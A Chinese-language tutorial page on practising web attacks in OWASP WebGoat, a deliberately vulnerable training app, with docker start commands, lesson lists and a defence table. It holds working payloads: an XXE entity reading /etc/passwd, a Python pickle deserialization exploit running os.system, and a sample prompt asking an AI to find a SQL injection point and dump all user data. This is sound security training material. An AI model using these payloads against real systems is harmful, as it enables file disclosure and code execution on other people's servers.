OWASP WebGoat 實戰

啟動 WebGoat

docker run -p 8080:8080 -p 9090:9090 webgoat/webgoat

練習漏洞(Vibe Prompt)

「WebGoat 的 SQL Injection 關卡:幫我找出注入點並取得所有使用者資料。」

XXE 攻擊

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<comment>
  <text>&xxe;</text>
</comment>

不安全反序列化

import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('cat /etc/passwd',))

payload = pickle.dumps(Exploit())

防護

| 漏洞 | 防護方式 | |------|---------| | XXE | 禁用外部實體解析 | | 不安全反序列化 | 使用安全的序列化格式 | | SSTI | 不將使用者輸入傳入模板引擎 | | SSRF | 限制伺服器請求的白名單 |


關鍵要點

OWASP WebGoat 練習課程

WebGoat 是一個故意含有漏洞的 Web 應用,用於安全訓練。

| 課程類別 | 練習內容 | |---------|---------| | 注入攻擊 | SQL Injection, NoSQL Injection, XXE | | 認證缺陷 | 密碼破解、Session 預測、JWT 攻擊 | | 存取控制 | IDOR、權限提升、路徑遍歷 | | XSS | Stored XSS, Reflected XSS, DOM XSS | | 不安全通訊 | TLS 配置錯誤、Certificate Pinning | | 不安全儲存 | 密碼儲存、敏感資料暴露 |

啟動方式

# Docker 啟動 (最簡單)
docker run -p 8080:8080 webgoat/webgoat

# 打開瀏覽器前往 http://localhost:8080/WebGoat

學習建議

建議按照以下順序練習:

  1. General → 了解 HTTP 基礎
  2. Injection → SQL Injection(最常見漏洞)
  3. Authentication → 認證繞過技巧
  4. Access Control → IDOR(OWASP Top 1)
  5. XSS → 跨站腳本攻擊
  6. Client-side → CSRF, HTML5 安全性


WebGoat:安全的駭客練習場

OWASP WebGoat 是一個故意包含漏洞的 Web 應用——你可以合法地在上面練習攻擊技術。

WebGoat 涵蓋的漏洞

| 漏洞 | 實作內容 | |:----|:--------| | SQL Injection | 繞過登入、提取資料庫內容 | | XSS | 反射型、儲存型、DOM Based | | Path Traversal | 讀取伺服器任意檔案 | | CSRF | 偽造跨站請求 |

啟動 WebGoat

docker run -p 8080:8080 -p 9090:9090 webgoat/webgoat

連到 http://localhost:8080/WebGoat 註冊後即可開始。

下一章預告:WAF 設定

WebGoat 讓你學會攻擊。下一章的 WAF 教你防禦——用 ModSecurity 規則阻擋攻擊。

會員專屬免費教學

本章節為註冊會員專屬的免費開放內容!請先登入或註冊會員,即可立即解鎖閱讀。

立即登入 / 註冊